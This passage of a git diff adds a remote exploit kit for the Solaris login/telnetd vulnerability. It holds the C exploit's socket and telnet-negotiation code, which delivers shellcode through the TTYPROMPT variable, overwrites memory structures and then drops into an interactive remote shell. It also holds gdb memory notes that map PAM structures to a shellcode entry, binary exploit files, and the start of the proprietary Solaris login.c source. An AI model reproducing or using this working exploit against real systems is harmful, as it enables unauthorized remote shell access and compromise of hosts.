| 47 | fprintf(stderr, "Target Types:\n"); | ||
| 48 | for(i = 0; targets[i].name; i++) | ||
| 49 | fprintf(stderr, "%d) %s\n", i, targets[i].name); | ||
| 50 | |||
| 51 | fprintf(stderr, "\n"); | ||
| 52 | exit(0); | ||
| 53 | } | ||
| 54 | |||
| 55 | void die(char *msg) | ||
| 56 | { | ||
| 57 | perror(msg); | ||
| 58 | exit(errno); | ||
| 59 | } | ||
| 60 | |||
| 61 | u_int32_t get_ip(char *host) | ||
| 62 | { | ||
| 63 | struct hostent *hp; | ||
| 64 | |||
| 65 | if(!(hp = gethostbyname(host))){ | ||
| 66 | fprintf(stderr, "cannot resolve %s\n", host); | ||
| 67 | return(0); | ||
| 68 | } | ||
| 69 | return(*(u_int32_t *)hp->h_addr_list[0]); | ||
| 70 | } | ||
| 71 | |||
| 72 | int get_socket(char *target, int port) | ||
| 73 | { | ||
| 74 | int sock; | ||
| 75 | u_int32_t ip; | ||
| 76 | struct sockaddr_in sin; | ||
| 77 | |||
| 78 | if(!(ip = get_ip(target))) | ||
| 79 | return(0); | ||
| 80 | |||
| 81 | bzero(&sin, sizeof(sin)); | ||
| 82 | sin.sin_family = AF_INET; | ||
| 83 | sin.sin_port = htons(port); | ||
| 84 | sin.sin_addr.s_addr = ip; | ||
| 85 | |||
| 86 | if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) | ||
| 87 | die("socket"); | ||
| 88 | if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) | ||
| 89 | die("connect"); | ||
| 90 | return(sock); | ||
| 91 | } | ||
| 92 | |||
| 93 | void send_wont(int sock, int option) | ||
| 94 | { | ||
| 95 | char buf[3], *ptr=buf; | ||
| 96 | |||
| 97 | *ptr++ = IAC; | ||
| 98 | *ptr++ = WONT; | ||
| 99 | *ptr++ = (unsigned char)option; | ||
| 100 | if(write(sock, buf, 3) < 0) | ||
| 101 | die("write"); | ||
| 102 | return; | ||
| 103 | } | ||
| 104 | |||
| 105 | void send_will(int sock, int option) | ||
| 106 | { | ||
| 107 | char buf[3], *ptr=buf; | ||
| 108 | |||
| 109 | *ptr++ = IAC; | ||
| 110 | *ptr++ = WILL; | ||
| 111 | *ptr++ = (unsigned char)option; | ||
| 112 | if(write(sock, buf, 3) < 0) | ||
| 113 | die("write"); | ||
| 114 | return; | ||
| 115 | } | ||
| 116 | |||
| 117 | void send_do(int sock, int option) | ||
| 118 | { | ||
| 119 | char buf[3], *ptr=buf; | ||
| 120 | |||
| 121 | *ptr++ = IAC; | ||
| 122 | *ptr++ = DO; | ||
| 123 | *ptr++ = (unsigned char)option; | ||
| 124 | if(write(sock, buf, 3) < 0) | ||
| 125 | die("write"); | ||
| 126 | return; | ||
| 127 | } | ||
| 128 | |||
| 129 | void send_env(int sock, char *name, char *value) | ||
| 130 | { | ||
| 131 | char buf[BUFLEN], *ptr = buf; | ||
| 132 | |||
| 133 | *ptr++ = IAC; | ||
| 134 | *ptr++ = SB; | ||
| 135 | *ptr++ = TELOPT_NEW_ENVIRON; | ||
| 136 | *ptr++ = TELQUAL_IS; | ||
| 137 | *ptr++ = NEW_ENV_VAR; | ||
| 138 | strncpy(ptr, name, BUFLEN-20); | ||
| 139 | ptr += strlen(ptr); | ||
| 140 | *ptr++ = NEW_ENV_VALUE; | ||
| 141 | strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1); | ||
| 142 | ptr += strlen(ptr); | ||
| 143 | *ptr++ = IAC; | ||
| 144 | *ptr++ = SE; | ||
| 145 | |||
| 146 | if(write(sock, buf, (ptr - buf)) < 0) | ||
| 147 | die("write"); | ||
| 148 | return; | ||
| 149 | } | ||
| 150 | |||
| 151 | void do_negotiate(int sock) | ||
| 152 | { | ||
| 153 | send_wont(sock, TELOPT_TTYPE); | ||
| 154 | send_wont(sock, TELOPT_NAWS); | ||
| 155 | send_wont(sock, TELOPT_LFLOW); | ||
| 156 | send_wont(sock, TELOPT_LINEMODE); | ||
| 157 | send_wont(sock, TELOPT_XDISPLOC); | ||
| 158 | send_will(sock, TELOPT_LFLOW); | ||
| 159 | send_will(sock, TELOPT_LINEMODE); | ||
| 160 | send_wont(sock, TELOPT_OLD_ENVIRON); | ||
| 161 | send_will(sock, TELOPT_NEW_ENVIRON); | ||
| 162 | send_will(sock, TELOPT_BINARY); | ||
| 163 | send_env(sock, "TTYPROMPT", shellcode); | ||
| 164 | return; | ||
| 165 | } | ||
| 166 | |||
| 167 | void write_attack_buf(int sock, int type) | ||
| 168 | { | ||
| 169 | char *attack_buf, *outbuf; | ||
| 170 | int i, j; | ||
| 171 | #ifdef SOLARIS | ||
| 172 | char tmpbuf[64]; | ||
| 173 | #endif | ||
| 174 | |||
| 175 | if(!(attack_buf = (char *)calloc(BUFLEN*3, 1))) | ||
| 176 | die("malloc"); | ||
| 177 | if(!(outbuf = (char *)calloc(BUFLEN*6, 1))){ | ||
| 178 | free(attack_buf); | ||
| 179 | die("malloc"); | ||
| 180 | } | ||
| 181 | if(write(sock, attack_buf, strlen(attack_buf)) < 0) | ||
| 182 | die("write"); | ||
| 183 | |||
| 184 | memset(attack_buf+100, '\t', 80); | ||
| 185 | |||
| 186 | /* --- stdio FILE structure, top of _iob -- */ | ||
| 187 | |||
| 188 | #ifdef SOLARIS | ||
| 189 | |||
| 190 | *(long *)&tmpbuf[0] = htonl((unsigned long)0x00000000); | ||
| 191 | *(long *)&tmpbuf[4] = htonl((unsigned long)targets[type].in_addr); | ||
| 192 | *(long *)&tmpbuf[8] = htonl((unsigned long)targets[type].in_addr); | ||
| 193 | *(long *)&tmpbuf[12] = htonl((unsigned long)0x05000000); | ||
| 194 | |||
| 195 | *(long *)&tmpbuf[16] = htonl((unsigned long)0x00000001); | ||
| 196 | *(long *)&tmpbuf[20] = htonl((unsigned long)targets[type].out_addr); | ||
| 197 | *(long *)&tmpbuf[24] = htonl((unsigned long)targets[type].out_addr); | ||
| 198 | *(long *)&tmpbuf[28] = htonl((unsigned long)0x4201000a); | ||
| 199 | |||
| 200 | memcpy(&attack_buf[2055], tmpbuf, 32); | ||
| 201 | #else | ||
| 202 | |||
| 203 | *(long *)&attack_buf[2055] = htonl((unsigned long)0x00000000); | ||
| 204 | *(long *)&attack_buf[2059] = htonl((unsigned long)targets[type].in_addr); | ||
| 205 | *(long *)&attack_buf[2063] = htonl((unsigned long)targets[type].in_addr); | ||
| 206 | *(long *)&attack_buf[2067] = htonl((unsigned long)0x05000000); | ||
| 207 | |||
| 208 | *(long *)&attack_buf[2071] = htonl((unsigned long)0x00000001); | ||
| 209 | *(long *)&attack_buf[2075] = htonl((unsigned long)targets[type].out_addr); | ||
| 210 | *(long *)&attack_buf[2079] = htonl((unsigned long)targets[type].out_addr); | ||
| 211 | *(long *)&attack_buf[2083] = htonl((unsigned long)0x4201000a); | ||
| 212 | |||
| 213 | #endif | ||
| 214 | /* -- IAC stuffing, so telnetd doesn't decide to negotiate -- */ | ||
| 215 | for(i = 0, j = 0; i < 3000; i++){ | ||
| 216 | outbuf[j++] = attack_buf[i]; | ||
| 217 | if(attack_buf[i] == '\xff') | ||
| 218 | outbuf[j++] = '\xff'; | ||
| 219 | if(attack_buf[i] == '\n') | ||
| 220 | break; | ||
| 221 | } | ||
| 222 | |||
| 223 | if(write(sock, outbuf, j) < 0) | ||
| 224 | die("write"); | ||
| 225 | |||
| 226 | /* -- 2 reads for reading the garbage which screws up term -- */ | ||
| 227 | if((j = read(sock, attack_buf, BUFLEN)) < 0) | ||
| 228 | die("read"); | ||
| 229 | if((j = read(sock, attack_buf, BUFLEN)) < 0) | ||
| 230 | die("read"); | ||
| 231 | |||
| 232 | free(attack_buf); | ||
| 233 | free(outbuf); | ||
| 234 | return; | ||
| 235 | } | ||
| 236 | |||
| 237 | int main(int argc, char **argv) | ||
| 238 | { | ||
| 239 | int c, n, sockfd, type = 0, offset=0, port = 23; | ||
| 240 | char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n"; | ||
| 241 | fd_set rset; | ||
| 242 | |||
| 243 | while((c = getopt(argc, argv, "t:o:p:")) != EOF){ | ||
| 244 | switch(c){ | ||
| 245 | case 't': | ||
| 246 | type = atoi(optarg); | ||
| 247 | if(type < 0 || type > sizeof(targets)){ | ||
| 248 | fprintf(stderr, "invalid target type\n"); | ||
| 249 | usage(argv[0]); | ||
| 250 | } | ||
| 251 | case 'o': | ||
| 252 | offset = atoi(optarg); | ||
| 253 | break; | ||
| 254 | case 'p': | ||
| 255 | port = atoi(optarg); | ||
| 256 | break; | ||
| 257 | } | ||
| 258 | } | ||
| 259 | |||
| 260 | if(!argv[optind] || !*argv[optind]) | ||
| 261 | usage(argv[0]); | ||
| 262 | if(!(sockfd = get_socket(argv[optind], port))) | ||
| 263 | exit(-1); | ||
| 264 | do_negotiate(sockfd); | ||
| 265 | printf("connected\n"); | ||
| 266 | getchar(); | ||
| 267 | n = read(sockfd, buf, sizeof(buf)); | ||
| 268 | write_attack_buf(sockfd, type); | ||
| 269 | send_wont(sockfd, TELOPT_BINARY); | ||
| 270 | sleep(1); | ||
| 271 | read(sockfd, buf, sizeof(buf)); | ||
| 272 | write(sockfd, shellstr, strlen(shellstr)); | ||
| 273 | FD_ZERO(&rset); | ||
| 274 | for(;;){ | ||
| 275 | FD_SET(0, &rset); | ||
| 276 | FD_SET(sockfd, &rset); | ||
| 277 | if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0) | ||
| 278 | die("select"); | ||
| 279 | |||
| 280 | if(FD_ISSET(sockfd, &rset)){ | ||
| 281 | bzero(buf, sizeof(buf)); | ||
| 282 | if((n = read(sockfd, buf, sizeof(buf))) < 0) | ||
| 283 | die("read"); | ||
| 284 | if(n == 0){ | ||
| 285 | printf("EOF\n"); | ||
| 286 | exit(0); | ||
| 287 | } | ||
| 288 | write(1,"-> ",3); | ||
| 289 | write(1, buf, n); | ||
| 290 | } | ||
| 291 | |||
| 292 | if(FD_ISSET(0, &rset)){ | ||
| 293 | bzero(buf, sizeof(buf)); | ||
| 294 | if((n = read(0, buf, sizeof(buf))) < 0) | ||
| 295 | die("read"); | ||
| 296 | if(n == 0) | ||
| 297 | exit(0); | ||
| 298 | write(sockfd, buf, n); | ||
| 299 | } | ||
| 300 | } | ||
| 301 | } | ||
| 302 | |||
diff --git a/exploits/7350logout/pam.txt b/exploits/7350logout/pam.txt new file mode 100644 index 0000000..a62e464 --- /dev/null +++ b/exploits/7350logout/pam.txt | |||
| @@ -0,0 +1,103 @@ | |||
| 1 | |||
| 2 | pamh points here: | ||
| 3 | |||
| 4 | |||
| 5 | |||
| 6 | (gdb) x/256wx 0x29278 | ||
| 7 | struct pam_item ps_item[PAM_MAX_ITEMS = 64]; (64 * 8 bytes = 0x200 bytes) | ||
| 8 | 0x29278: 0x00000000 0x00000000 0x00028db0 0x00000005 | ||
| 9 | 0x29288: 0x00000000 0x00000000 0x0002b2a8 0x0000000a | ||
| 10 | 0x29298: 0x00028e40 0x00000000 0x00028dd0 0x00000008 | ||
| 11 | 0x292a8: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 12 | 0x292b8: 0x00000000 0x00000000 0x00028e50 0x00000007 | ||
| 13 | 0x292c8: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 14 | 0x292d8: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 15 | 0x292e8: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 16 | 0x292f8: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 17 | 0x29308: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 18 | 0x29318: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 19 | 0x29328: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 20 | 0x29338: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 21 | 0x29348: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 22 | 0x29358: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 23 | 0x29368: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 24 | 0x29378: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 25 | 0x29388: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 26 | 0x29398: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 27 | 0x293a8: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 28 | 0x293b8: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 29 | 0x293c8: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 30 | 0x293d8: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 31 | 0x293e8: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 32 | 0x293f8: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 33 | 0x29408: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 34 | 0x29418: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 35 | 0x29428: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 36 | 0x29438: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 37 | 0x29448: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 38 | 0x29458: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 39 | 0x29468: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 40 | |||
| 41 | pamtab * pam_conf_info[PAM_NUM_MODULE_TYPES = 4]; (4 * 4 bytes = 0x10 bytes) | ||
| 42 | 0x29478: 0x000295c0 0x00029638 0x00029700 0x000296b0 | ||
| 43 | |||
| 44 | 0x29488: 0x0002b2d8 ; struct pam_module_data *ssd; | ||
| 45 | 0x2948c: 0x00028e70 ; fd_list * fd; | ||
| 46 | 0x29490: 0x00000000 ; env_list * pam_env; | ||
| 47 | 0x29494: 0x00000000 ; char * pam_client_message_version_number; | ||
| 48 | |||
| 49 | |||
| 50 | pamtab, pam_conf_info[0]: | ||
| 51 | "login" AUTH REQUIRED "/usr/lib/security/pam_unix.so.1" | ||
| 52 | 0x295c0: 0x00028de0 0x00000000 0x00000001 0x000295e8 | ||
| 53 | 0x295d0: 0x00000000 0x00000000 0x00028e60 0x00029610 | ||
| 54 | |||
| 55 | pamtab, pam_conf_info[1]: | ||
| 56 | "login" ACCOUNT REQUISITE "/usr/lib/security/pam_roles.so.1" | ||
| 57 | 0x29638: 0x00028e10 0x00000001 0x00000008 0x0002a038 | ||
| 58 | 0x29648: 0x00000000 0x00000000 0x00000000 0x00029660 | ||
| 59 | |||
| 60 | pamtab, pam_conf_info[2]: | ||
| 61 | "other" PASSWORD REQUIRED "/usr/lib/security/pam_unix.so.1" | ||
| 62 | 0x29700: 0x00028e30 0x00000002 0x00000001 0x00029728 | ||
| 63 | 0x29710: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 64 | |||
| 65 | pamtab, pam_conf_info[3]: | ||
| 66 | "other" SESSION REQUIRED "/usr/lib/security/pam_unix.so.1" | ||
| 67 | 0x296b0: 0x00028e20 0x00000003 0x00000001 0x000296d8 | ||
| 68 | 0x296c0: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
| 69 | |||
| 70 | |||
| 71 | pam_conf_info[0]->function_ptr: | ||
| 72 | 0x28e60: 0xef4d4a70 0x00000000 0x00000009 0x00000000 | ||
| 73 | 0x28e70: 0xef6f060c 0x00028e90 0x00000009 0x00000000 | ||
| 74 | 0x28e80: 0xef4b091c 0x00000000 0x00000009 0x00000000 | ||
| 75 | 0x28e90: 0xef6f0c50 0x00000000 0x00000009 0x00000000 | ||
| 76 | 0x28ea0: 0x00028eb0 0xefffb1f0 0x00000009 0x00000000 | ||
| 77 | 0x28eb0: 0x00000000 0x00000000 0x00000009 0x00000000 | ||
| 78 | |||
| 79 | |||
| 80 | |||
| 81 | pamh -> | ||
| 82 | [512 * NULL] ps_item, ps_item[2] = { "foo", 3 } | ||
| 83 | [pameptr] pam_conf_info[0] (AUTH) | ||
| 84 | [3 * NULL] pam_conf_info[1-3] | ||
| 85 | [NULL] ssd | ||
| 86 | [NULL] fd | ||
| 87 | [NULL] pam_env | ||
| 88 | [NULL] pam_client_message_version_number | ||
| 89 | |||
| 90 | pameptr -> | ||
| 91 | [NULL] pam_service | ||
| 92 | [NULL] pam_type | ||
| 93 | [NULL] pam_flag | ||
| 94 | [NULL] module_path | ||
| 95 | [NULL] module_argc | ||
| 96 | [NULL] module_argv | ||
| 97 | [pamfptr] function_ptr | ||
| 98 | |||
| 99 | pamfprt -> | ||
| 100 | [entry] pm_sm_authenticate() | ||
| 101 | |||
| 102 | entry -> shellcode | ||
| 103 | |||
diff --git a/exploits/7350logout/solaris-2.4-sparc-login b/exploits/7350logout/solaris-2.4-sparc-login new file mode 100644 index 0000000..2c14874 --- /dev/null +++ b/exploits/7350logout/solaris-2.4-sparc-login | |||
| Binary files differ | |||
diff --git a/exploits/7350logout/solaris-2.6-sparc-login b/exploits/7350logout/solaris-2.6-sparc-login new file mode 100644 index 0000000..0327519 --- /dev/null +++ b/exploits/7350logout/solaris-2.6-sparc-login | |||
| Binary files differ | |||
diff --git a/exploits/7350logout/solaris-2.6-sparc-login2 b/exploits/7350logout/solaris-2.6-sparc-login2 new file mode 100644 index 0000000..d1fdc7e --- /dev/null +++ b/exploits/7350logout/solaris-2.6-sparc-login2 | |||
| Binary files differ | |||
diff --git a/exploits/7350logout/solaris-2.7-login.c b/exploits/7350logout/solaris-2.7-login.c new file mode 100644 index 0000000..d7b89e3 --- /dev/null +++ b/exploits/7350logout/solaris-2.7-login.c | |||
| @@ -0,0 +1,2355 @@ | |||
| 1 | /* Copyright (c) 1984, 1986, 1987, 1988, 1989 AT&T */ | ||
| 2 | /* All Rights Reserved */ | ||
| 3 | |||
| 4 | /* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */ | ||
| 5 | /* The copyright notice above does not evidence any */ | ||
| 6 | /* actual or intended publication of such source code. */ | ||
| 7 | |||
| 8 | #pragma ident "@(#)login.c 1.73 97/11/25 SMI" /* SVr4.0 1.43.6.26 */ | ||
| 9 | |||
| 10 | /* | ||
| 11 | |||
| 12 | PROPRIETARY NOTICE(Combined) | ||
| 13 | |||
| 14 | This source code is unpublished proprietary information | ||
| 15 | constituting, or derived under license from AT&T's UNIX(r) System V. | ||
| 16 | In addition, portions of such source code were derived from Berkeley | ||
| 17 | 4.3 BSD under license from the Regents of the University of | ||
| 18 | California. | ||
| 19 | |||
| 20 | |||
| 21 | |||
| 22 | Copyright Notice | ||
| 23 | |||
| 24 | Notice of copyright on this source code product does not indicate | ||
| 25 | publication. | ||
| 26 | |||
| 27 | (c) 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1997 Sun Microsystems, Inc | ||
| 28 | (c) 1983, 1984, 1985, 1986, 1987, 1988, 1989 AT&T. | ||
| 29 | All rights reserved. | ||
| 30 | ******************************************************************* | ||
| 31 | */ | ||
| 32 | |||
| 33 | /* Copyright (c) 1987, 1988 Microsoft Corporation */ | ||
| 34 | /* All Rights Reserved */ | ||
| 35 | |||
| 36 | /* This Module contains Proprietary Information of Microsoft */ | ||
| 37 | /* Corporation and should be treated as Confidential. */ | ||
| 38 | |||
| 39 | /* | ||
| 40 | * Usage: login [ -d device ] [ name ] [ environment args ] | ||
| 41 | * | ||
| 42 | * | ||
| 43 | */ | ||
| 44 | |||
| 45 | |||
| 46 | /* | ||
| 47 | * | ||
| 48 | * *** Header Files *** | ||
| 49 | * | ||
| 50 | * | ||
| 51 | */ | ||
| 52 | |||
| 53 | #include <sys/types.h> | ||
| 54 | #include <sys/param.h> | ||
| 55 | #include <unistd.h> /* For logfile locking */ | ||
| 56 | #include <signal.h> | ||
| 57 | #include <stdio.h> | ||
| 58 | #include <sys/stat.h> | ||
| 59 | #include <string.h> | ||
| 60 | #include <deflt.h> | ||
| 61 | #include <grp.h> | ||
| 62 | #include <fcntl.h> | ||
| 63 | #include <lastlog.h> | ||
| 64 | #include <termio.h> | ||
| 65 | #include <utmpx.h> | ||
| 66 | #include <dirent.h> | ||
| 67 | #include <stdlib.h> | ||
| 68 | #include <wait.h> | ||
| 69 | #include <errno.h> | ||
| 70 | #include <ctype.h> | ||
| 71 | #include <syslog.h> | ||
| 72 | #include <ulimit.h> | ||
| 73 | #include <libgen.h> | ||
| 74 | #include <pwd.h> | ||
| 75 | #include <security/pam_appl.h> | ||
| 76 | #include "libcmd.h" /* for defcntl */ | ||
| 77 | |||
| 78 | /* | ||
| 79 | * | ||
| 80 | * *** Defines, Macros, and String Constants *** | ||
| 81 | * | ||
| 82 | * | ||
| 83 | */ | ||
| 84 | |||
| 85 | #define ISSUEFILE "/etc/issue" /* file to print before prompt */ | ||
| 86 | #define NOLOGIN "/etc/nologin" /* file to lock users out during shutdown */ | ||
| 87 | |||
| 88 | /* | ||
| 89 | * These need to be defined for UTMP management. | ||
| 90 | * If we add in the utility functions later, we | ||
| 91 | * can remove them. | ||
| 92 | */ | ||
| 93 | #define __UPDATE_ENTRY 1 | ||
| 94 | #define __LOGIN 2 | ||
| 95 | |||
| 96 | /* | ||
| 97 | * Intervals to sleep after failed login | ||
| 98 | */ | ||
| 99 | #ifndef SLEEPTIME | ||
| 100 | #define SLEEPTIME 4 /* sleeptime before login incorrect msg */ | ||
| 101 | #endif | ||
| 102 | static int Sleeptime = SLEEPTIME; | ||
| 103 | |||
| 104 | /* | ||
| 105 | * seconds login disabled after allowable number of unsuccessful attempts | ||
| 106 | */ | ||
| 107 | #ifndef DISABLETIME | ||
| 108 | #define DISABLETIME 20 | ||
| 109 | #endif | ||
| 110 | #define MAXTRYS 5 | ||
| 111 | |||
| 112 | static int retry = MAXTRYS; | ||
| 113 | |||
| 114 | /* | ||
| 115 | * Login logging support | ||
| 116 | */ | ||
| 117 | #define LOGINLOG "/var/adm/loginlog" /* login log file */ | ||
| 118 | #define LNAME_SIZE 20 /* size of logged logname */ | ||
| 119 | #define TTYN_SIZE 15 /* size of logged tty name */ | ||
| 120 | #define TIME_SIZE 30 /* size of logged time string */ | ||
| 121 | #define ENT_SIZE (LNAME_SIZE + TTYN_SIZE + TIME_SIZE + 3) | ||
| 122 | #define L_WAITTIME 5 /* waittime for log file to unlock */ | ||
| 123 | #define LOGTRYS 10 /* depth of 'try' logging */ | ||
| 124 | |||
| 125 | /* | ||
| 126 | * String manipulation macros: SCPYN, EQN and ENVSTRNCAT | ||
| 127 | */ | ||
| 128 | #define SCPYN(a, b) (void) strncpy(a, b, sizeof (a)) | ||
| 129 | #define EQN(a, b) (strncmp(a, b, sizeof (a)-1) == 0) | ||
| 130 | #define ENVSTRNCAT(to, from) {int deflen; deflen = strlen(to); \ | ||
| 131 | (void) strncpy((to)+ deflen, (from), sizeof (to) - (1 + deflen)); } | ||
| 132 | |||
| 133 | /* | ||
| 134 | * Other macros | ||
| 135 | */ | ||
| 136 | #define NMAX sizeof (utmp.ut_name) | ||
| 137 | #define HMAX sizeof (utmp.ut_host) | ||
| 138 | #define min(a, b) (((a) < (b)) ? (a) : (b)) | ||
| 139 | |||
| 140 | /* | ||
| 141 | * Various useful files and string constants | ||
| 142 | */ | ||
| 143 | #define SHELL "/usr/bin/sh" | ||
| 144 | #define SHELL2 "/sbin/sh" | ||
| 145 | #define SUBLOGIN "<!sublogin>" | ||
| 146 | #define LASTLOG "/var/adm/lastlog" | ||
| 147 | #define PROG_NAME "login" | ||
| 148 | #define HUSHLOGIN ".hushlogin" | ||
| 149 | |||
| 150 | /* | ||
| 151 | * Array and Buffer sizes | ||
| 152 | */ | ||
| 153 | #define PBUFSIZE 8 /* max significant characters in a password */ | ||
| 154 | #define MAXARGS 63 | ||
| 155 | #define MAXENV 1024 | ||
| 156 | #define MAXLINE 2048 | ||
| 157 | |||
| 158 | /* | ||
| 159 | * Miscellaneous constants | ||
| 160 | */ | ||
| 161 | #define ROOTUID 0 | ||
| 162 | #define ERROR 1 | ||
| 163 | #define OK 0 | ||
| 164 | #define LOG_ERROR 1 | ||
| 165 | #define DONT_LOG_ERROR 0 | ||
| 166 | #define TRUE 1 | ||
| 167 | #define FALSE 0 | ||
| 168 | |||
| 169 | /* | ||
| 170 | * Counters for counting the number of failed login attempts | ||
| 171 | */ | ||
| 172 | static int trys = 0; | ||
| 173 | |||
| 174 | /* | ||
| 175 | * Externs a plenty | ||
| 176 | */ | ||
| 177 | extern int getsecretkey(); | ||
| 178 | |||
| 179 | /* | ||
| 180 | * BSM hooks | ||
| 181 | */ | ||
| 182 | extern int audit_login_save_flags(int rflag, int hflag); | ||
| 183 | extern int audit_login_save_host(char *host); | ||
| 184 | extern int audit_login_save_ttyn(char *ttyn); | ||
| 185 | extern int audit_login_save_port(void); | ||
| 186 | extern int audit_login_success(void); | ||
| 187 | extern int audit_login_save_pw(struct passwd *pwd); | ||
| 188 | extern int audit_login_bad_pw(void); | ||
| 189 | extern int audit_login_maxtrys(void); | ||
| 190 | extern int audit_login_not_console(void); | ||
| 191 | extern int audit_login_bad_dialup(void); | ||
| 192 | extern int audit_login_maxtrys(void); | ||
| 193 | |||
| 194 | /* | ||
| 195 | * utmp file variables | ||
| 196 | */ | ||
| 197 | static struct utmpx utmp; | ||
| 198 | |||
| 199 | /* | ||
| 200 | * The current user name | ||
| 201 | */ | ||
| 202 | static char user_name[64]; | ||
| 203 | static char minusnam[16] = "-"; | ||
| 204 | |||
| 205 | /* | ||
| 206 | * locale environments to be passed to shells. | ||
| 207 | */ | ||
| 208 | static char *localeenv[] = { | ||
| 209 | "LANG", | ||
| 210 | "LC_CTYPE", "LC_NUMERIC", "LC_TIME", "LC_COLLATE", | ||
| 211 | "LC_MONETARY", "LC_MESSAGES", "LC_ALL", 0}; | ||
| 212 | static int locale_envmatch(char *lenv, char *penv); | ||
| 213 | |||
| 214 | /* | ||
| 215 | * Environment variable support | ||
| 216 | */ | ||
| 217 | static char shell[256] = { "SHELL=" }; | ||
| 218 | static char home[MAXPATHLEN] = { "HOME=" }; | ||
| 219 | static char term[64] = { "TERM=" }; | ||
| 220 | static char logname[30] = { "LOGNAME=" }; | ||
| 221 | static char timez[100] = { "TZ=" }; | ||
| 222 | static char hertz[10] = { "HZ=" }; | ||
| 223 | static char path[MAXPATHLEN] = { "PATH=" }; | ||
| 224 | static char *newenv[10+MAXARGS] = | ||
| 225 | {home, path, logname, hertz, term, 0, 0}; | ||
| 226 | static char **envinit = newenv; | ||
| 227 | static int basicenv; | ||
| 228 | static char envblk[MAXENV]; | ||
| 229 | static char *zero = (char *)0; | ||
| 230 | static char **envp; | ||
| 231 | #ifndef NO_MAIL | ||
| 232 | static char mail[30] = { "MAIL=/var/mail/" }; | ||
| 233 | #endif | ||
| 234 | extern char **environ; | ||
| 235 | char inputline[MAXLINE]; | ||
| 236 | |||
| 237 | |||
| 238 | /* | ||
| 239 | * Strings used to prompt the user. | ||
| 240 | */ | ||
| 241 | static char loginmsg[] = "login: "; | ||
| 242 | static char passwdmsg[] = "Password:"; | ||
| 243 | static char incorrectmsg[] = "Login incorrect\n"; | ||
| 244 | |||
| 245 | /* | ||
| 246 | * Password file support | ||
| 247 | */ | ||
| 248 | static struct passwd *pwd; | ||
| 249 | static char remote_host[HMAX]; | ||
| 250 | |||
| 251 | /* | ||
| 252 | * Illegal passwd entries. | ||
| 253 | */ | ||
| 254 | static struct passwd nouser = { "", "no:password", ~ROOTUID }; | ||
| 255 | |||
| 256 | /* | ||
| 257 | * Log file support | ||
| 258 | */ | ||
| 259 | static char *log_entry[LOGTRYS]; | ||
| 260 | static int writelog = 0; | ||
| 261 | static int lastlogok = 0; | ||
| 262 | static struct lastlog ll; | ||
| 263 | static int dosyslog = 0; | ||
| 264 | |||
| 265 | /* | ||
| 266 | * Default file toggles | ||
| 267 | */ | ||
| 268 | static char *Pndefault = "/etc/default/login"; | ||
| 269 | static char *Altshell = NULL; | ||
| 270 | static char *Console = NULL; | ||
| 271 | static char *Passreq = NULL; | ||
| 272 | #define DEFUMASK 022 | ||
| 273 | static mode_t Umask = DEFUMASK; | ||
| 274 | static char *Def_tz = NULL; | ||
| 275 | static char *tmp_tz = NULL; | ||
| 276 | static char *Def_hertz = NULL; | ||
| 277 | #define SET_FSIZ 2 /* ulimit() command arg */ | ||
| 278 | static long Def_ulimit = 0; | ||
| 279 | #define MAX_TIMEOUT (15 * 60) | ||
| 280 | #define DEF_TIMEOUT (5 * 60) | ||
| 281 | static unsigned Def_timeout = DEF_TIMEOUT; | ||
| 282 | static char *Def_path = NULL; | ||
| 283 | static char *Def_supath = NULL; | ||
| 284 | #define DEF_PATH "/usr/bin:" /* same as PATH */ | ||
| 285 | #define DEF_SUPATH "/usr/sbin:/usr/bin" /* same as ROOTPATH */ | ||
| 286 | |||
| 287 | /* | ||
| 288 | * ttyprompt will point to the environment variable TTYPROMPT. | ||
| 289 | * TTYPROMPT is set by ttymon if ttymon already wrote out the prompt. | ||
| 290 | */ | ||
| 291 | static char *ttyprompt = NULL; | ||
| 292 | static char *ttyn = NULL; | ||
| 293 | static struct group *grpstr; | ||
| 294 | static char *ttygrp = "tty"; | ||
| 295 | static char *progname = PROG_NAME; | ||
| 296 | |||
| 297 | /* | ||
| 298 | * Pass inherited environment. Used by telnetd in support of the telnet | ||
| 299 | * ENVIRON option. | ||
| 300 | */ | ||
| 301 | static int pflag; | ||
| 302 | /* | ||
| 303 | * Remote login support | ||
| 304 | */ | ||
| 305 | static int hflag, rflag; | ||
| 306 | static char rusername[NMAX+1], lusername[NMAX+1]; | ||
| 307 | static char terminal[MAXPATHLEN]; | ||
| 308 | |||
| 309 | /* | ||
| 310 | * Pre-authentication flag support | ||
| 311 | */ | ||
| 312 | static int fflag; | ||
| 313 | |||
